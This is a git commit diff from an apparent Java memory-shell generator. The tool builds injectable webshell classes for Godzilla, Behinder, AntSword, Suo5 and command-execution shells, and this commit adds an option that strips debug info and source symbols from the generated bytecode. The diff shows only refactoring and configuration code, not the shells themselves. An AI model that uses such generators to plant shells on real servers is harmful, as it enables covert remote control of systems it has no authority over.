feat: support bytecode shrink

1. remove source file symbol (#46)
2. remove debug info when enable shrink (#29)
This commit is contained in:
ReaJason
2025-02-26 20:19:30 +08:00
parent 7927611c92
commit cf2b2af67e
16 changed files with 94 additions and 27 deletions
@@ -62,7 +62,7 @@ public class MemShellGenerator {
case Godzilla:
return new GodzillaGenerator(shellConfig, (GodzillaConfig) shellToolConfig).getBytes();
case Command:
return CommandGenerator.generate(shellConfig, (CommandConfig) shellToolConfig);
return new CommandGenerator(shellConfig, (CommandConfig) shellToolConfig).getBytes();
case Behinder:
return new BehinderGenerator(shellConfig, (BehinderConfig) shellToolConfig).getBytes();
case Suo5:
@@ -57,6 +57,12 @@ public class ShellConfig {
@Builder.Default
private boolean debug = false;
/**
* 是否启用缩小字节码
*/
@Builder.Default
private boolean shrink = false;
public boolean isDebugOff() {
return !debug;
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -19,7 +20,7 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @author ReaJason
* @since 2025/02/18
*/
public class AntSwordGenerator {
public class AntSwordGenerator {
private final ShellConfig shellConfig;
private final AntSwordConfig antSwordConfig;
@@ -67,7 +68,7 @@ public class AntSwordGenerator {
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -70,7 +71,7 @@ public class BehinderGenerator {
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -20,40 +21,52 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2024/11/24
*/
public class CommandGenerator {
private final ShellConfig shellConfig;
private final CommandConfig commandConfig;
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
if (shellConfig.getShellClass() == null) {
throw new IllegalArgumentException("shellConfig.getClazz() == null");
public CommandGenerator(ShellConfig shellConfig, CommandConfig commandConfig) {
this.shellConfig = shellConfig;
this.commandConfig = commandConfig;
}
public DynamicType.Builder<?> getBuilder() {
if (commandConfig.getShellClass() == null) {
throw new IllegalArgumentException("commandConfig.getClazz() == null");
}
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(shellConfig.getShellClass())
.name(shellConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()));
.redefine(commandConfig.getShellClass())
.name(commandConfig.getShellClassName())
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()));
if (config.isJakarta()) {
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (config.isDebugOff()) {
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
String shellType = config.getShellType();
String shellType = shellConfig.getShellType();
if (!ShellType.WEBSOCKET.equals(shellType)) {
if (StringUtils.startsWith(shellType, ShellType.AGENT)) {
builder = builder.visit(
new LdcReAssignVisitorWrapper(new HashMap<Object, Object>(1) {{
put("paramName", shellConfig.getParamName());
put("paramName", commandConfig.getParamName());
}})
);
} else {
builder = builder.field(named("paramName")).value(shellConfig.getParamName());
builder = builder.field(named("paramName")).value(commandConfig.getParamName());
}
}
return builder;
}
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -75,7 +76,7 @@ public class GodzillaGenerator {
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.ByPassJavaModuleInterceptor;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -22,11 +23,11 @@ import static net.bytebuddy.matcher.ElementMatchers.named;
* @since 2024/11/24
*/
public class InjectorGenerator {
private final ShellConfig config;
private final ShellConfig shellConfig;
private final InjectorConfig injectorConfig;
public InjectorGenerator(ShellConfig config, InjectorConfig injectorConfig) {
this.config = config;
public InjectorGenerator(ShellConfig shellConfig, InjectorConfig injectorConfig) {
this.shellConfig = shellConfig;
this.injectorConfig = injectorConfig;
}
@@ -36,20 +37,20 @@ public class InjectorGenerator {
DynamicType.Builder<?> builder = new ByteBuddy()
.redefine(injectorConfig.getInjectorClass())
.name(injectorConfig.getInjectorClassName())
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(injectorConfig.getUrlPattern(), "/*")))
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
.method(named("getClassName")).intercept(FixedValue.value(injectorConfig.getShellClassName()));
if (config.needByPassJavaModule()) {
if (shellConfig.needByPassJavaModule()) {
builder = ByPassJavaModuleInterceptor.extend(builder);
}
if (config.isJakarta()) {
if (shellConfig.isJakarta()) {
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
}
if (config.isDebugOff()) {
if (shellConfig.isDebugOff()) {
builder = LogRemoveMethodVisitor.extend(builder);
}
return builder;
@@ -59,7 +60,7 @@ public class InjectorGenerator {
public byte[] generate() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -1,5 +1,6 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.buddy.LdcReAssignVisitorWrapper;
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -59,7 +60,7 @@ public class Suo5Generator {
public byte[] getBytes() {
DynamicType.Builder<?> builder = getBuilder();
try (DynamicType.Unloaded<?> make = builder.make()) {
return make.getBytes();
return ClassBytesShrink.shrink(make.getBytes(), shellConfig.isShrink());
}
}
}
@@ -42,7 +42,7 @@ class CommandFilterTest {
.paramName("cmd")
.build();
generateConfig.setShellType(shellType);
byte[] bytes = CommandGenerator.generate(generateConfig, shellConfig);
byte[] bytes = new CommandGenerator(generateConfig, shellConfig).getBytes();
Object obj = ClassUtils.newInstance(bytes);
assertEquals(shellConfig.getShellClassName(), obj.getClass().getName());
assertEquals(shellConfig.getParamName(), ClassUtils.getFieldValue(obj, "paramName"));